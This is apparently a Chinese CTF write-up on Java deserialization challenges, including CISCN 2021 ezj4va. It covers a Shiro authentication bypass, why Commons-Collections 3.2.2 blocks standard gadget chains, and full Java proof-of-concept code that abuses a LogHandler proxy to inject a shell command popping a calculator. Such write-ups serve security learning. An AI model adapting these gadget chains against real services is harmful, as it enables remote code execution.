第一题
环境搭建
- 去官网下载zip包
- 免安装部署tomcat:https://www.huaweicloud.com/articles/12637955.html
- 将.war包放在webapps目录下,访问serveraddress:/springmvcdemo自动解压部署
题目分析
- 访问题目,抓包,提示权限不够。
- cookie里面的数据base64解码之后有些像序列化流
- 既然有序列化,那么肯定有反序列化,猜测存在反序列化漏洞
代码审计
- 用jd-gui工具反编译为Java源代码
- 在com\controller\PictureController.java看到了鉴权的操作
- 跟进函数看到了这个可序列化的类
- 那序列化与反序列化的点在哪里呢?全局搜索看到了
com\tools\Tools.java
:
- 漏洞非常明显,Tools类的反序列化自定义readObject方法直接调用
ProcessBuilder
执行一个系统命令
利用
import java.io.*;
import com.tools.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Tools e = new Tools();
try
{
FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
}catch(IOException i)
{
i.printStackTrace();
}
}
}
其中我们需要重写com\tools\Tools.java
的writeObject方法:
private void writeObject(ObjectOutputStream oos) throws IOException {
String[] obj = {"winver.exe"};
oos.writeObject(obj);
System.out.println("writeObject...");
// 省去调用自定义序列化逻辑...
}
将生成的序列化文件转换为base64,替换为cookie即可弹出winver
第二题
环境搭建
启动命令,在8080端口启动服务
java -jar javaweb-0.0.1-SNAPSHOT.jar
冷静分析
进去就一个登录框,没啥好说的,白盒题,直接开审。
权限绕过
解压jar包,看源码。在com.ctf.javaweb.controller.IndexController
看到了反序列化的入口点:
但是这个触发点是在/index/{name}
路由里面,这个路由在com.ctf.javaweb.config.ShiroConfig
里面是需要认证才能访问的:
看了下lib目录,shiro-core-1.5.3。这个版本修了CVE-2020-11989,但是还有一个CVE-2020-13933
正常访问是这样:
绕过姿势是这样的(这里是瞎jr打payload就绕过了):
我们可以看到cookie里面返回了Java序列化内容,带着cookie访问返回了hello {{username}}的字符,说明我们传入的cookie被反序列化了。接下来只需要找一条gadget
寻找利用链
看似可利用的LogHandler
在com.ctf.javaweb.tools.LogHandler
里面看到他继承了InvocationHandler
接口(动态代理),并且invoke方法里面调用了com.ctf.javaweb.tools#exeCmd
危险方法(而且一看writeLog.replaceAll那里就存在命令注入
package com.ctf.javaweb.tools;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashSet;
public class LogHandler extends HashSet implements InvocationHandler {
private static final long serialVersionUID = 1L;
private Object target;
private String readLog = "tail /tmp/accessLog";
private String writeLog = "echo /test >> /tmp/accessLog";
public LogHandler() {
}
public LogHandler(Object target) {
this.target = target;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
public String toString() {
return Tools.exeCmd(this.readLog);
}
}
看到这里觉得有了个大概思路:
用com.ctf.javaweb.tools.LogHandler
去代理一个类,当这个类的readObject()执行调用任意方法时,触发com.ctf.javaweb.tools.LogHandler#invoke
命令注入
……但是这个class没有实现Serializable接口,貌似不能参与序列化。
看了半天,这个思路走远了。
CommonsCollections的败北
- CC1和6的折戟
在lib里面看到了有commons-collections-3.2.2.jar,判断服务应该支持打cc链,但是正当我用cc1去梭的时候,却报了500,跑去看日志:
InvokerTransformer是cc1,6能够调用Runtime来执行系统命令的核心,这意味着cc1和cc6被通防了
那么我们能不能避免使用InvokerTransformer,比如直接加载字节码来进行反序列化呢?
- CC3的夭折
说字节码这得看我cc3,那么用我们现学来的cc3,直接加载字节码:
很奇怪,感觉这两两条路基本算是CC链必走的了(可看CC链的神图),结果在网上找到了:
Apache Commons Collections在3.2.2版本中做了一定的安全处理,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。
如,InvokerTransformer类重写了序列化相关方法writeObject()和 readObject()。
如果没有开启不安全类的序列化,则会抛出UnsupportedOperationException异常:
其实在p神《Java安全漫谈》里面也提到了:
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。
先看3.2.2,通过diff可以发现,新版代码中增加了一个方法
Functorut ils#checkUnsafeSerialization
,用于检测反序列化是否安全。
如果开发者没有设置全局配置
org. apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常。
这个检查在常见的危险Transformer类
( InstantiateTransformer、InvokerTransformer 、PrototypeFactory 、CloneTrans forme
r等)的readobject里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常:
java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InstantiateTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
再看4.1,修复方式又不一样。
4.1里,这几个危险Transformer类不再实现Serializable接口,也就是说,他们几个彻底无法序列化和反序列化了。更绝。
在snyk上面也看到了3.3.2和4.1修复了这个问题,题目使用的3.3.2版本是打不了cc链的。
峰回路转-LogHandler的尝试
既然打不了CC链,那是不是存在其他链呢?其实看到LogHandler不能反序列化的时候,直接一口否定了他的可利用性,并没有去尝试,那么为什么不实际尝试一下呢?
其实再仔细一点,可以发现这个类继承了HashSet,HashSet实现了Serializable接口,貌似可以搞事
开始表演
构造思路直接看注释就懂了
本地测试
import com.ctf.javaweb.tools.LogHandler;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.lang.reflect.Proxy;
public class poc{
public static void main(String[] args) throws Exception {
//代理劫持target.transform
Transformer target = new ConstantTransformer("1");
LogHandler handler = new LogHandler(target);
Transformer proxy = (Transformer) Proxy.newProxyInstance(Transformer.class.getClassLoader(), new Class[]{Transformer.class}, handler);
//用transformerChain来触发proxy.transform(cmd)
String cmd = "1&calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cmd),
proxy,
};
Transformer transformerChain = new ChainedTransformer(transformers);
//触发测试
transformerChain.transform("1");
}
}
poc
import com.ctf.javaweb.tools.LogHandler;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class poc{
public static void main(String[] args) throws Exception {
//代理劫持target.transform
Transformer target = new ConstantTransformer("1");
LogHandler handler = new LogHandler(target);
Transformer proxy = (Transformer) Proxy.newProxyInstance(Transformer.class.getClassLoader(), new Class[]{Transformer.class}, handler);
String cmd = "1&&gnome-calculator&&";
//构造transformers自动调用proxy.transform(cmd),用于触发invoke
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cmd),
proxy,
};
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
//transformerChain.transform("1");//transformerChain触发测试
// 后面是常规cc6,不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//序列化流写入文件
try
{
FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(expMap);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
}catch(IOException i)
{
i.printStackTrace();
}
// // 本地测试触发
// System.out.println(barr);
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
}
}
- Commons-Beanutils
cc链打不了,于是转向了lib\commons-beanutils-1.9.4.jar
,这个包也是存在gadget的。
2021-8-10
暂时先放放,跟完了链子再来
(yso的cb1可以一把梭,1.9.4版本仍然是没有修复的)
CISCN 2021 Final-ezj4va
给了源码,mvn导入包,本地搭建直接开审
(但是打final的时候是没有公网的,附件只有源码,需要去靶机上面把本地repo拖下来
入手点肯定是controller,IndexController就是个hello world界面+下载源码功能,重点在CartController。
我们可以看到
这里定义了三个路由,分别对应三个方法,其中add方法里面有一个Serializer.
serialize
(cart)
很扎眼。